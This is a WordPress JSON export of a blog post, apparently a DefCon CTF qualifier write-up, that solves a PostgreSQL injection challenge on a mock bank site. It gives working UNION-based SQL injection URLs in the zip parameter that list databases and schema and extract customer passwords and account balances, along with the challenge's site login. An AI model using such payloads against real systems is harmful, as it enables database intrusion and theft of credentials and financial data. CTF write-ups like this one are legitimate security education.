{"id":340,"date":"2012-06-03T21:04:19","date_gmt":"2012-06-04T02:04:19","guid":{"rendered":"http:\/\/www.rajatswarup.com\/blog\/?p=340"},"modified":"2013-01-19T10:52:54","modified_gmt":"2013-01-19T15:52:54","slug":"defcon-ctf-quals-grabbag400-writeup","status":"publish","type":"post","link":"https:\/\/www.rajatswarup.com\/blog\/2012\/06\/03\/defcon-ctf-quals-grabbag400-writeup\/","title":{"rendered":"DefCon CTF Quals GrabBag400 Writeup"},"content":{"rendered":"<p>This was an interesting PostgreSQL injection challenge.<br \/>\nWhat is Jeff Moss&#8217; checking account balance?<br \/>\nBank Site &#8211; <a href=\"http:\/\/140.197.217.85:8080\/boa_bank\">http:\/\/140.197.217.85:8080\/boa_bank<\/a><br \/>\nUser:blacksheep<br \/>\nPassword:luvMeSomeSheep<\/p>\n<p>The username and password is to get around the .htaccess that protects the site.  There was a page with the zip code search on it.  The zip parameter was vulnerable to SQL injection (verified by entering a &#8216; character in the zip parameter).  With this information you <\/p>\n<p>SQL injection in zip parameter. <a href=\"http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20or%201=1--&#038;Submit.x=0&#038;Submit.y=0\">http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20or%201=1&#8211;&#038;Submit.x=0&#038;Submit.y=0<\/a><\/p>\n<p>List of databases can be found by: <a href=\"http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20datname,datname,datname,datname,1,datname%20FROM%20pg_database&#038;Submit.x=0&#038;Submit.y=0\">http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20datname,datname,datname,datname,1,datname%20FROM%20pg_database&#038;Submit.x=0&#038;Submit.y=0<\/a><\/p>\n<p>Names of databases<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\ntemplate1<br \/>\ntemplate0<br \/>\npostgres<br \/>\nboa_bank<\/p>\n<p><a href=\"http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20relname,A.attname,relname,A.attname,1,relname%20FROM%20pg_class%20C,pg_namespace%20N,pg_attribute%20A,pg_type%20T%20WHERE%20(C.relkind='r')%20AND%20(N.oid=C.relnamespace)%20AND%20(A.attrelid=C.oid)%20AND%20(A.atttypid=T.oid)%20AND%20(A.attnum%3E0)%20AND%20(NOT%20A.attisdropped)%20AND%20(N.nspname%20ILIKE%20'public')&#038;Submit.x=0&#038;Submit.y=0\">http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20relname,A.attname,relname,A.attname,1,relname%20FROM%20pg_class%20C,pg_namespace%20N,pg_attribute%20A,pg_type%20T%20WHERE%20(C.relkind=&#8217;r&#8217;)%20AND%20(N.oid=C.relnamespace)%20AND%20(A.attrelid=C.oid)%20AND%20(A.atttypid=T.oid)%20AND%20(A.attnum%3E0)%20AND%20(NOT%20A.attisdropped)%20AND%20(N.nspname%20ILIKE%20&#8217;public&#8217;)&#038;Submit.x=0&#038;Submit.y=0<\/a><\/p>\n<p>With this query it&#8217;s easy to evaluate the type of the parameter as well as the position.  This was done by the error message that indicated an &#8220;int cannot be compared to text&#8221;.  <\/p>\n<p>Table,column_name<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\ntransaction,amount<br \/>\ntransaction,account<br \/>\ntransaction,id<br \/>\ntransaction,date<br \/>\nbranch,id<br \/>\nbranch,zip<br \/>\nbranch,city<br \/>\nbranch,name<br \/>\nbranch,street<br \/>\nbranch,phone<br \/>\nbranch,state<br \/>\ncustomer,id<br \/>\ncustomer,firstname<br \/>\ncustomer,password<br \/>\ncustomer,lastname<br \/>\ncustomer,username<br \/>\ncustomer,email<br \/>\naccount,id -> int<br \/>\naccount,owner -> int<br \/>\naccount,account -> string<br \/>\naccount,balance<br \/>\naccount,type -> checking\/savings<br \/>\nsqlmapfile,data<br \/>\ntest2234,t<br \/>\nhkk,t<br \/>\nmydata,t<br \/>\nmytable,mycol<br \/>\nhk,hk<br \/>\nsonic,sonic<\/p>\n<p>Getting all customers (Jeff Moss can&#8217;t be found in the list though)<br \/>\nhttp:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20C.firstname,C.lastname,C.username,C.password,1,C.email%20FROM%20customer%20C&#038;Submit.x=0&#038;Submit.y=0<br \/>\nLots of complaints were heard that the record wasn&#8217;t present for Jeff Moss.  But if you just filtered by &#8216;checking&#8217; account, you would see that it was all the same for all users.  The following query gives the list of all checking accounts&#8230;but if you notice the value is $0.00 for all checking accounts so Jeff Moss&#8217; account should be 0.00 too!!! <\/p>\n<p><a href=\"http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20A.account,A.type,A.type,cast(A.balance%20as%20text),A.owner,A.account%20FROM%20account%20A%20where%20A.type%20ILIKE%20'checking'&#038;Submit.x=0&#038;Submit.y=0\">http:\/\/140.197.217.85:8080\/boa_bank\/find_branch.jsp?zip=5%20%20union%20SELECT%20A.account,A.type,A.type,cast(A.balance%20as%20text),A.owner,A.account%20FROM%20account%20A%20where%20A.type%20ILIKE%20&#8217;checking&#8217;&#038;Submit.x=0&#038;Submit.y=0<br \/>\n<\/a><\/p>\n<p>Fun times!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This was an interesting PostgreSQL injection challenge. What is Jeff Moss&#8217; checking account balance? Bank Site &#8211; http:\/\/140.197.217.85:8080\/boa_bank User:blacksheep Password:luvMeSomeSheep The username and password is to get around the .htaccess that protects the site. There was a page with the zip code search on it. The zip parameter was vulnerable to SQL injection (verified by [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[230],"tags":[222,224,449,223,227],"class_list":["post-340","post","type-post","status-publish","format-standard","hentry","category-howto","tag-ctf","tag-defcon","tag-postgresql","tag-quals","tag-sql-injection"],"_links":{"self":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts\/340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/comments?post=340"}],"version-history":[{"count":4,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts\/340\/revisions"}],"predecessor-version":[{"id":369,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts\/340\/revisions\/369"}],"wp:attachment":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/media?parent=340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/categories?post=340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/tags?post=340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}